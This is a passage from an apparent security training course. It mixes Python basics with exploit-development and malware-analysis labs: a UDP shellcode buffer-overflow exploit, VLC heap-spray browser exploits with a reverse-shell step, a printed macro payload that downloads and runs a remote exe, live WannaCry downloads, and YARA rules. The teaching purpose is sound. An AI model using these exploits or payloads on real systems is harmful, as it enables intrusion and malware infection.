4549part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
4550
4551part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
4552part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
4553part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
4554part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
4555part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
4556part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
4557part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
4558part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
4559part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
4560part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
4561part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
4562
4563prepend = "\x81\xC4\xFF\xEF\xFF\xFF" # add esp, -1001h
4564prepend += "\x44" # inc esp
4565
4566buf = "\x00\x01" # receive command
4567
4568buf += "\x90" * (256 - len(part2)) # NOPs
4569buf += part2 # shellcode part 2
4570buf += struct.pack('<I', eip) # EIP (JMP ESP)
4571buf += prepend # stack shifter
4572buf += part1 # shellcode part 1
4573buf += "\xE9" + struct.pack('<i', -380) # JMP -380
4574buf += "\x00" # END
4575
4576# print buf
4577
4578# buf = "\x00\x01" # receive command
4579
4580# buf += "A" * 300 + "\x00"
4581
4582sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
4583
4584try:
4585 sock.connect((target, port))
4586 sock.sendall(buf)
4587except Exception as e:
4588 sys.stderr.write("Cannot send to "+str(target)+" : "+str(port)+" : "+str(e)+"!\n")
4589finally:
4590 sock.close()
4591 sys.stderr.write("Sent.\n")
4592
4593
4594
4595-----------------------------------------------------------------------------------------------------------------
4596
4597
4598
4599
4600How does all of this actually work
4601
4602
4603
4604
4605Total shellcode length: 315
4606
4607 Part1: 150
4608 Part2: 165
4609
4610
4611NOPS * (256 - 165)
4612
461391 NOPS + (165 bytes shellcode p2) + JMP ESP (4 bytes) + Stack Shift (-1000) + (150 bytes shellcode p1) + (neg jmp -380)
4614 | | |
4615 256 260 150 (410) |
4616 |<------------------------------------------------------------------------------------------------------------|
4617 Jump to the
4618 30 byte mark
4619
4620
4621
4622############################
4623# Lab 3: Browsers Exploits #
4624############################
4625
4626---------------------------Type This-----------------------------------
4627
4628cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab3\ffvlc_skeleton
4629-----------------------------------------------------------------------
4630
4631
4632Quicktime - overflow, if we send a very long rtsp:// URL, Quicktime crashes
4633rtsp://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......50000
4634
4635<object id=quicktime clsid="999-999999-99-99999">
4636 <param name="URL" value="rtsp://AAAAAAAAAAAAAAAAAAAAAAAAA....">
4637</object>
4638
4639var buf = "";
4640for(i = 0; i < 50000; i++)
4641 buf += "A";
4642var myobject = document.getElementById("quicktime");
4643myobject.url = buf;
4644
4645YOU CAN PRE-LOAD THE PROCESS MEMORY MORE OR LESS IN A WAY YOU LIKE BEFORE TRIGGERING THE EXPLOIT!!!!
4646
4647- Browsers (Flash)
4648- PDF
4649- MS Office / OOo
4650
4651VLC smb:// exploit
4652------------------
4653
4654EXPLOIT VECTOR
4655
4656smb://example.com@0.0.0.0/foo/#{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
4657
4658Exploit Scripts
4659- ffvlc
4660
4661ON YOUR HOST, RUN THE WEBSERVER ON PORT 8080
4662
4663---------------------------Type This-----------------------------------
4664
4665perl daemon.pl vlc0.html
4666-----------------------------------------------------------------------
4667
4668ON YOUR Strategicsec-XP-ED-Target-VM VM, START FIREFOX
4669Browse to http://your_host_ip_address:8080/
4670
4671vlc0.html
4672---------
4673<script>
4674 var buf = "";
4675 for(i = 0; i < 1250; i++)
4676 buf += unescape("%41%41%41%41");
4677 var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";
4678 document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
4679</script>
4680
4681vlc1.html
4682---------
4683<script>
4684
4685 // shellcode created in heap memory
4686 var shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
4687
4688 // 800K block of NOPS
4689 var nop = unescape("%u9090%u09090"); // 4 NOPS
4690 while(nop.length < 0xc0000) {
4691 nop += nop;
4692 }
4693
4694 // spray the heap with NOP+shellcode
4695 var memory = new Array();
4696 for(i = 0; i < 50; i++) {
4697 memory[i] = nop + shellcode;
4698 }
4699
4700 // build the exploit payload
4701 var buf = "";
4702 for(i = 0; i < 1250; i++)
4703 buf += unescape("%41%41%41%41");
4704 var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";
4705
4706 // trigger the exploit
4707 document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
4708</script>
4709
4710---------------------------Type This-----------------------------------
4711
4712perl daemon.pl vlc1.html
4713-----------------------------------------------------------------------
4714
4715Search for where our NOPS+shellcode lies in the heap
4716
4717s 0 l fffffff 90 90 90 90 cc cc cc cc
4718
47190:019> s 0 l fffffff 90 90 90 90 cc cc cc cc
472003dffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4721040ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4722043ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4723046ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4724049ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
472504cffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
472604fffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4727052ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4728055ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4729058ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
473005bffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
473105effffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4732061ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4733064ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4734067ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
473506affffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4736
4737Edit vlc2.html
4738replace %41%41%41%41 with %07%07%07%07
4739
4740(928.fd0): Break instruction exception - code 80000003 (first chance)
4741eax=fffffd66 ebx=07070707 ecx=77c2c2e3 edx=00340000 esi=07070707 edi=07070707
4742eip=07100000 esp=0e7afc58 ebp=07070707 iopl=0 nv up ei pl nz ac pe nc
4743cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
474407100000 cc int 3
47450:019> u
474607100000 cc int 3
474707100001 cc int 3
474807100002 cc int 3
474907100003 cc int 3
475007100004 cc int 3
475107100005 cc int 3
475207100006 cc int 3
475307100007 cc int 3
4754
4755Create vlc3.html (Copy vlc2.html to vlc3.html)
4756----------------------------------------------
4757Win32 Reverse Shell
4758- no restricted characters
4759- Encoder NONE
4760- use the Javascript encoded payload generated by msfweb
4761
4762##########################
4763# Python Lambda Function #
4764##########################
4765
4766
4767Python allows you to create anonymous function i.e function having no names using a facility called lambda function.
4768
4769lambda functions are small functions usually not more than a line. It can have any number of arguments just like a normal function. The body of lambda functions is very small and consists of only one expression. The result of the expression is the value when the lambda is applied to an argument. Also there is no need for any return statement in lambda function.
4770
4771Let’s take an example:
4772
4773Consider a function multiply()
4774
4775def multiply(x, y):
4776 return x * y
4777
4778
4779This function is too small, so let’s convert it into a lambda function.
4780
4781To create a lambda function first write keyword lambda followed by one of more arguments separated by comma, followed by colon sign ( : ), followed by a single line expression.
4782
4783---------------------------Type This-----------------------------------
4784
4785>>> r = lambda x, y: x * y
4786>>> r(12,3)
478736
4788-----------------------------------------------------------------------
4789
4790Here we are using two arguments x and y , expression after colon is the body of the lambda function. As you can see lambda function has no name and is called through the variable it is assigned to.
4791
4792You don’t need to assign lambda function to a variable.
4793
4794---------------------------Type This-----------------------------------
4795
4796>>> (lambda x, y: x * y)(3,4)
479712
4798-----------------------------------------------------------------------
4799
4800Note that lambda function can’t contain more than one expression.
4801
4802
4803
4804##################
4805# Python Classes #
4806##################
4807
4808
4809****************
4810* Introduction *
4811****************
4812
4813Classes are the cornerstone of Object Oriented Programming. They are the blueprints used to create objects. And, as the name suggests, all of Object Oriented Programming centers around the use of objects to build programs.
4814
4815You don't write objects, not really. They are created, or instantiated, in a program using a class as their basis. So, you design objects by writing classes. That means that the most important part of understanding Object Oriented Programming is understanding what classes are and how they work.
4816
4817
4818***********************
4819* Real World Examples *
4820***********************
4821
4822
4823This next part if going to get abstract. You can think of objects in programming just like objects in the real world. Classes are then the way you would describe those objects and the plans for what they can do.
4824
4825Start off by thinking about a web vuln scanner.
4826
4827What about what they can do? Nearly every web vuln scanner can do the same basic things, but they just might do them differently or at different speeds. You could then describe the actions that a vuln scanner can perform using functions. In Object Oriented Programming, though, functions are called methods.
4828
4829So, if you were looking to use "vuln scanner" objects in your program, you would create a "vuln scanner" class to serve as a blueprint with all of the variables that you would want to hold information about your "vuln scanner" objects and all of the methods to describe what you would like your vuln scanner to be able to do.
4830
4831
4832******************
4833* A Python Class *
4834******************
4835
4836
4837Now that you have a general idea of what a class is, it's best to take a look at a real Python class and study how it is structured.
4838
4839---------------------------Paste This-----------------------------------
4840
4841class WebVulnScanner(object):
4842 make = 'Acunetix'
4843 model = '10.5'
4844 year = '2014'
4845 version ='Consultant Edition'
4846
4847 profile = 'High Risk'
4848
4849
4850 def crawling(self, speed):
4851 print("Crawling at %s" % speed)
4852
4853
4854 def scanning(self, speed):
4855 print("Scanning at %s" % speed)
4856-----------------------------------------------------------------------
4857
4858
4859Creating a class looks a lot like creating a function. Instead of def you use the keyword, class. Then, you give it a name, just like you would a function. It also has parenthesis like a function, but they don't work the way you think. For a class the parenthesis allow it to extend an existing class. Don't worry about this right now, just understand that you have to put object there because it's the base of all other classes.
4860
4861From there, you can see a bunch of familiar things that you'd see floating around any Python program, variables and functions. There are a series of variables with information about the scanner and a couple of methods(functions) describing what the scanner can do. You can see that each of the methods takes two parameters, self and speed. You can see that "speed" is used in the methods to print out how fast the scanner is scanning, but "self" is different.
4862
4863
4864*****************
4865* What is Self? *
4866*****************
4867
4868Alright, so "self" is the biggest quirk in the way that Python handles Object Oriented Programming. In most languages, classes and objects are just aware of their variables in their methods. Python needs to be told to remember them. When you pass "self" to a method, you are essentially passing that object to its method to remind it of all of the variables and other methods in that object. You also need to use it when using variables in methods. For example, if you wanted to output the model of the scanner along with the speed, it looks like this.
4869
4870---------------------------Type This-----------------------------------
4871
4872print("Your %s is crawling at %s" % (self.model, speed))
4873-----------------------------------------------------------------------
4874
4875It's awkward and odd, but it works, and it's really not worth worrying about. Just remember to include "self" as the first parameter of your methods and "self." in front of your variables, and you'll be alright.
4876
4877
4878*****************
4879* Using A Class *
4880*****************
4881
4882
4883You're ready to start using the WebVulnScanner class. Create a new Python file and paste the class in. Below, you can create an object using it. Creating, or instantiating, an object in Python looks like the line below.
4884---------------------------Type This-----------------------------------
4885
4886myscanner = WebVulnScanner()
4887-----------------------------------------------------------------------
4888
4889
4890That's it. To create a new object, you just have to make a new variable and set it equal to class that you are basing your object on.
4891
4892Get your scanner object to print out its make and model.
4893---------------------------Type This-----------------------------------
4894
4895print("%s %s" % (myscanner.make, myscanner.model))
4896-----------------------------------------------------------------------
4897
4898The use of a . between an object and its internal components is called the dot notation. It's very common in OOP. It works for methods the same way it does for variables.
4899---------------------------Type This-----------------------------------
4900
4901myscanner.scanning('10req/sec')
4902-----------------------------------------------------------------------
4903
4904What if you want to change the profile of your scanning? You can definitely do that too, and it works just like changing the value of any other variable. Try printing out the profile of your scanner first. Then, change the profile, and print it out again.
4905---------------------------Type This-----------------------------------
4906
4907print("The profile of my scanner settings is %s" % myscanner.profile)
4908myscanner.profile = "default"
4909print("The profile of my scanner settings is %s" % myscanner.profile)
4910-----------------------------------------------------------------------
4911
4912Your scanner settings are default now. What about a new WebVulnScanner? If you made a new scanner object, would the scanning profile be default? Give it a shot.
4913---------------------------Type This-----------------------------------
4914
4915mynewscanner = WebVulnScanner()
4916print("The scanning profile of my new scanner is %s" % mynewscanner.profile)
4917-----------------------------------------------------------------------
4918
4919That one's high risk. New objects are copied from the class, and the class still says that the profile is high risk. Objects exist in the computer's memory while a program is running. When you change the values within an object, they are specific to that object as it exists in memory. The changes won't persist once the program stops and won't change the class that it was created from.
4920
4921
4922#########################################
4923# The self variable in python explained #
4924#########################################
4925
4926So lets start by making a class involving the self variable.
4927
4928A simple class :
4929
4930So here is our class:
4931---------------------------Paste This-----------------------------------
4932
4933class port(object):
4934 open = False
4935 def open_port(self):
4936 if not self.open:
4937 print("port open")
4938
4939-----------------------------------------------------------------------
4940
4941First let me explain the above code without the technicalities. First of all we make a class port. Then we assign it a property “open” which is currently false. After that we assign it a function open_port which can only occur if “open” is False which means that the port is open.
4942
4943Making a Port:
4944
4945Now that we have made a class for a Port, lets actually make a port:
4946---------------------------Type This-----------------------------------
4947
4948x = port()
4949-----------------------------------------------------------------------
4950
4951Now x is a port which has a property open and a function open_port. Now we can access the property open by typing:
4952---------------------------Type This-----------------------------------
4953
4954x.open
4955-----------------------------------------------------------------------
4956
4957The above command is same as:
4958---------------------------Type This-----------------------------------
4959
4960port().open
4961-----------------------------------------------------------------------
4962
4963Now you can see that self refers to the bound variable or object. In the first case it was x because we had assigned the port class to x whereas in the second case it referred to port(). Now if we have another port y, self will know to access the open value of y and not x. For example check this example:
4964---------------------------Type This-----------------------------------
4965
4966>>> x = port()
4967>>> x.open
4968False
4969>>> y = port()
4970>>> y.open = True
4971>>> y.open
4972True
4973>>> x.open
4974False
4975
4976-----------------------------------------------------------------------
4977The first argument of every class method, including init, is always a reference to the current instance of the class. By convention, this argument is always named self. In the init method, self refers to the newly created object; in other class methods, it refers to the instance whose method was called. For example the below code is the same as the above code.
4978
4979---------------------------Paste This-----------------------------------
4980
4981class port(object):
4982 open = False
4983 def open_port(this):
4984 if not this.open:
4985 print("port open")
4986
4987-----------------------------------------------------------------------
4988
4989
4990
4991
4992
4993
4994##################################
4995# Day 3 Homework videos to watch #
4996##################################
4997Here is your first set of youtube videos that I'd like for you to watch:
4998https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 21-30)
4999
5000
5001
5002
5003
5004
5005
5006
5007
5008
5009
5010
5011 #######################################
5012----------- ############### # Day 4: Malware analysis with Python # ############### -----------
5013 #######################################
5014
5015
5016###############################
5017# Lesson 28: Malware Analysis #
5018###############################
5019
5020
5021
5022
5023################
5024# The Scenario #
5025################
5026You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
5027
5028
5029The fastest thing you can do is perform static analysis.
5030---------------------------Type This-----------------------------------
5031
5032sudo pip install olefile
5033 infosecaddicts
5034
5035mkdir ~/Desktop/oledump
5036
5037cd ~/Desktop/oledump
5038
5039wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
5040
5041unzip oledump_V0_0_22.zip
5042
5043wget http://45.63.104.73/064016.zip
5044
5045unzip 064016.zip
5046 infected
5047
5048python oledump.py 064016.doc
5049
5050python oledump.py 064016.doc -s A4 -v
5051-----------------------------------------------------------------------
5052
5053- From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
5054- Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
5055
5056---------------------------Type This-----------------------------------
5057
5058python oledump.py 064016.doc -s A5 -v
5059-----------------------------------------------------------------------
5060
5061- As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
5062
5063---------------------------Type This-----------------------------------
5064
5065python oledump.py 064016.doc -s A3 -v
5066 -----------------------------------------------------------------------
5067
5068- Look for "GVhkjbjv" and you should see:
5069
5070636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
5071
5072- Take that long blob that starts with 636D and finishes with 653B and paste it in:
5073http://www.rapidtables.com/convert/number/hex-to-ascii.htm
5074
5075
5076
5077###################
5078# Static Analysis #
5079###################
5080
5081- After logging please open a terminal window and type the following commands:
5082---------------------------Type This-----------------------------------
5083
5084cd Desktop/
5085
5086wget http://45.63.104.73/wannacry.zip
5087
5088unzip wannacry.zip
5089 infected
5090
5091file wannacry.exe
5092
5093mv wannacry.exe malware.pdf
5094
5095file malware.pdf
5096
5097mv malware.pdf wannacry.exe
5098
5099hexdump -n 2 -C wannacry.exe
5100
5101-----------------------------------------------------------------------
5102
5103
5104
5105***What is '4d 5a' or 'MZ'***
5106Reference:
5107http://www.garykessler.net/library/file_sigs.html
5108
5109
5110
5111---------------------------Type This-----------------------------------
5112
5113
5114objdump -x wannacry.exe
5115
5116strings wannacry.exe
5117
5118strings --all wannacry.exe | head -n 6
5119
5120strings wannacry.exe | grep -i dll
5121
5122strings wannacry.exe | grep -i library
5123
5124strings wannacry.exe | grep -i reg
5125
5126strings wannacry.exe | grep -i key
5127
5128strings wannacry.exe | grep -i rsa
5129
5130strings wannacry.exe | grep -i open
5131
5132strings wannacry.exe | grep -i get
5133
5134strings wannacry.exe | grep -i mutex
5135
5136strings wannacry.exe | grep -i irc
5137
5138strings wannacry.exe | grep -i join
5139
5140strings wannacry.exe | grep -i admin
5141
5142strings wannacry.exe | grep -i list
5143
5144
5145
5146-----------------------------------------------------------------------
5147
5148
5149
5150
5151
5152
5153
5154
5155Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
5156
5157Quick Google search for "wannacry ransomeware analysis"
5158
5159
5160Reference
5161https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
5162
5163- Yara Rule -
5164
5165
5166Strings:
5167$s1 = “Ooops, your files have been encrypted!” wide ascii nocase
5168$s2 = “Wanna Decryptor” wide ascii nocase
5169$s3 = “.wcry” wide ascii nocase
5170$s4 = “WANNACRY” wide ascii nocase
5171$s5 = “WANACRY!” wide ascii nocase
5172$s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
5173
5174
5175
5176
5177
5178
5179
5180
5181Ok, let's look for the individual strings
5182
5183---------------------------Type This-----------------------------------
5184
5185
5186strings wannacry.exe | grep -i ooops
5187
5188strings wannacry.exe | grep -i wanna
5189
5190strings wannacry.exe | grep -i wcry
5191
5192strings wannacry.exe | grep -i wannacry
5193
5194strings wannacry.exe | grep -i wanacry **** Matches $s5, hmmm.....
5195
5196
5197-----------------------------------------------------------------------
5198
5199
5200
5201
5202
5203####################################
5204# Tired of GREP - let's try Python #
5205####################################
5206Decided to make my own script for this kind of stuff in the future. I
5207
5208Reference1:
5209http://45.63.104.73/analyse_malware.py
5210
5211This is a really good script for the basics of static analysis
5212
5213Reference:
5214https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
5215
5216
5217This is really good for showing some good signatures to add to the Python script
5218
5219
5220Here is my own script using the signatures (started this yesterday, but still needs work):
5221https://pastebin.com/guxzCBmP
5222
5223
5224---------------------------Type This-----------------------------------
5225
5226
5227sudo apt install -y python-pefile
5228 infosecaddicts
5229
5230
5231
5232wget https://pastebin.com/raw/guxzCBmP
5233
5234
5235mv guxzCBmP am.py
5236
5237
5238vi am.py
5239
5240python am.py wannacry.exe
5241
5242
5243-----------------------------------------------------------------------
5244
5245
5246
5247
5248
5249
5250
5251
5252##############
5253# Yara Ninja #
5254##############
5255 ---------------------------Type This-----------------------------------
5256
5257cd ~/Desktop
5258
5259sudo apt-get remove -y yara
5260 infosecaddcits
5261
5262sudo apt -y install libtool
5263 infosecaddicts
5264
5265wget https://github.com/VirusTotal/yara/archive/v3.6.0.zip
5266
5267
5268unzip v3.6.0.zip
5269
5270cd yara-3.6.0
5271
5272./bootstrap.sh
5273
5274./configure
5275
5276make
5277
5278sudo make install
5279 infosecaddicts
5280
5281yara -v
5282
5283cd ~/Desktop
5284
5285
5286-----------------------------------------------------------------------
5287
5288
5289NOTE:
5290McAfee is giving these yara rules - so add them to the hashes.txt file
5291
5292Reference:
5293https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
5294
5295----------------------------------------------------------------------------
5296rule wannacry_1 : ransom
5297{
5298 meta:
5299 author = "Joshua Cannell"
5300 description = "WannaCry Ransomware strings"
5301 weight = 100
5302 date = "2017-05-12"
5303
5304 strings:
5305 $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
5306 $s2 = "Wanna Decryptor" wide ascii nocase
5307 $s3 = ".wcry" wide ascii nocase
5308 $s4 = "WANNACRY" wide ascii nocase
5309 $s5 = "WANACRY!" wide ascii nocase
5310 $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
5311
5312 condition:
5313 any of them
5314}
5315
5316----------------------------------------------------------------------------
5317rule wannacry_2{
5318 meta:
5319 author = "Harold Ogden"
5320 description = "WannaCry Ransomware Strings"
5321 date = "2017-05-12"
5322 weight = 100
5323
5324 strings:
5325 $string1 = "msg/m_bulgarian.wnry"
5326 $string2 = "msg/m_chinese (simplified).wnry"
5327 $string3 = "msg/m_chinese (traditional).wnry"
5328 $string4 = "msg/m_croatian.wnry"
5329 $string5 = "msg/m_czech.wnry"
5330 $string6 = "msg/m_danish.wnry"
5331 $string7 = "msg/m_dutch.wnry"
5332 $string8 = "msg/m_english.wnry"
5333 $string9 = "msg/m_filipino.wnry"
5334 $string10 = "msg/m_finnish.wnry"
5335 $string11 = "msg/m_french.wnry"
5336 $string12 = "msg/m_german.wnry"
5337 $string13 = "msg/m_greek.wnry"
5338 $string14 = "msg/m_indonesian.wnry"
5339 $string15 = "msg/m_italian.wnry"
5340 $string16 = "msg/m_japanese.wnry"
5341 $string17 = "msg/m_korean.wnry"
5342 $string18 = "msg/m_latvian.wnry"
5343 $string19 = "msg/m_norwegian.wnry"
5344 $string20 = "msg/m_polish.wnry"
5345 $string21 = "msg/m_portuguese.wnry"
5346 $string22 = "msg/m_romanian.wnry"
5347 $string23 = "msg/m_russian.wnry"
5348 $string24 = "msg/m_slovak.wnry"
5349 $string25 = "msg/m_spanish.wnry"
5350 $string26 = "msg/m_swedish.wnry"
5351 $string27 = "msg/m_turkish.wnry"
5352 $string28 = "msg/m_vietnamese.wnry"
5353
5354
5355 condition:
5356 any of ($string*)
5357}
5358----------------------------------------------------------------------------
5359
5360
5361#######################
5362# External DB Lookups #
5363#######################
5364
5365Creating a malware database (sqlite)
5366---------------------------Type This-----------------------------------
5367
5368sudo apt install -y python-simplejson python-simplejson-dbg
5369 infosecaddicts
5370
5371
5372
5373wget https://raw.githubusercontent.com/mboman/mart/master/bin/avsubmit.py
5374
5375
5376
5377python avsubmit.py -f wannacry.exe -e
5378
5379----------------------------------------------------------------------------
5380
5381Analysis of the file can be found at:
5382http://www.threatexpert.com/report.aspx?md5=84c82835a5d21bbcf75a61706d8ab549
5383
5384
5385
5386
5387
5388
5389
5390
5391
5392###############################
5393# Creating a Malware Database #
5394###############################
5395Creating a malware database (mysql)
5396-----------------------------------
5397- Step 1: Installing MySQL database
5398- Run the following command in the terminal:
5399---------------------------Type This-----------------------------------
5400
5401sudo apt install -y mysql-server
5402 infosecaddicts
5403
5404- Step 2: Installing Python MySQLdb module
5405- Run the following command in the terminal:
5406
5407sudo apt-get build-dep python-mysqldb
5408 infosecaddicts
5409
5410sudo apt install -y python-mysqldb
5411 infosecaddicts
5412
5413Step 3: Logging in
5414Run the following command in the terminal:
5415
5416mysql -u root -p (set a password of 'malware')
5417
5418- Then create one database by running following command:
5419
5420create database malware;
5421
5422exit;
5423
5424wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
5425
5426vi mal_to_db.py (fill in database connection information)
5427
5428python mal_to_db.py -i
5429
5430------- check it to see if the files table was created ------
5431
5432mysql -u root -p
5433 malware
5434
5435show databases;
5436
5437use malware;
5438
5439show tables;
5440
5441describe files;
5442
5443exit;
5444
5445-----------------------------------------------------------------------
5446
5447
5448- Now add the malicious file to the DB
5449---------------------------Type This-----------------------------------
5450
5451
5452python mal_to_db.py -f wannacry.exe -u
5453
5454-----------------------------------------------------------------------
5455
5456
5457- Now check to see if it is in the DB
5458--------------------------Type This-----------------------------------
5459
5460mysql -u root -p
5461 malware
5462
5463mysql> use malware;
5464
5465select id,md5,sha1,sha256,time FROM files;
5466
5467mysql> quit;
5468
5469-----------------------------------------------------------------------
5470
5471
5472
5473######################################
5474# PCAP Analysis with forensicPCAP.py #
5475######################################
5476---------------------------Type This-----------------------------------
5477
5478cd ~/Desktop
5479wget https://raw.githubusercontent.com/madpowah/ForensicPCAP/master/forensicPCAP.py
5480sudo easy_install cmd2
5481
5482python forensicPCAP.py Browser\ Forensics/suspicious-time.pcap
5483
5484ForPCAP >>> help
5485
5486
5487Prints stats about PCAP
5488ForPCAP >>> stat
5489
5490
5491Prints all DNS requests from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
5492ForPCAP >>> dns
5493
5494ForPCAP >>> show
5495
5496
5497Prints all destination ports from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
5498ForPCAP >>> dstports
5499
5500ForPCAP >>> show
5501
5502
5503Prints the number of ip source and store them.
5504ForPCAP >>> ipsrc
5505
5506
5507Prints the number of web's requests and store them
5508ForPCAP >>> web
5509
5510
5511Prints the number of mail's requests and store them
5512ForPCAP >>> mail
5513
5514-----------------------------------------------------------------------
5515
5516
5517
5518
5519
5520
5521##################################
5522# Day 4 Homework videos to watch #
5523##################################
5524Here is your first set of youtube videos that I'd like for you to watch:
5525https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 31-40)
5526
5527
5528
5529
5530
5531
5532
5533
5534
5535
5536 ##########################################
5537----------- ############### # Day 4: Debugger automation with Python # ############### -----------
5538 ##########################################
5539
5540In this lab we are going to exploit the bufferoverflow in the program which is a simple tcp server using the strcpy in its code. Download the server's .exe file from here http://code.securitytube.net/Server-Strcpy.exe
5541
5542Run the server on windows machine.
5543
5544Connect to the server from an ubuntu machine using nc <ip-adress of windows> 10000. Send some character from there and see if it returns the same.
5545
5546
5547
5548It's a simple echo server. Reflects whatever you type in the input we send to this program, is stored using strcpy. Let us write a simple python program that sends a large input to the program and see if it can handle large inputs.
5549---------------------------Type This-----------------------------------
5550
5551vim strcpy.py
5552
5553./strcpy <server adress>
5554
5555-----------------------------------------------------------------------
5556
5557
5558On the server machine see if the server crashes and what error it shows.
5559
5560Now let's find out what happens behind the scenes when you run the python script against your echo server. When you do not have the source code of the program that you need to debug, the only way to do so is to take the binary, disassemble and debug it to actually see what is happening. The immunity debugger is the tool which does all that.
5561
5562Open the server.exe file in immunity debugger. It will show information about the binary in different sections including Registers [EIP, ESP, EBP, etc], the machine language equivalent and addresses of the binary with their values.
5563
5564Now press the run button and the binary will be in the “Running” state. Execute the strcpy.py script as done previously. The binary will crash again and immunity debugger will show it in “Paused” State. It will also show the stack with its values and ASCII equivalent which is seen as “AAAA...” as all the characters sent from the script are As, as shown in the figure below.
5565
5566
5567We can also write python scripts using the python shell provided by the Immunity Debugger. The scripts we write here need to be placed in “C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands” directory, which will be automatically made available to immunity debugger at run-time.
5568
5569
5570Now open the python shell, Create “New Window” and save it as spse-demo in the PyCommands directory mentioned above.
5571
5572
5573
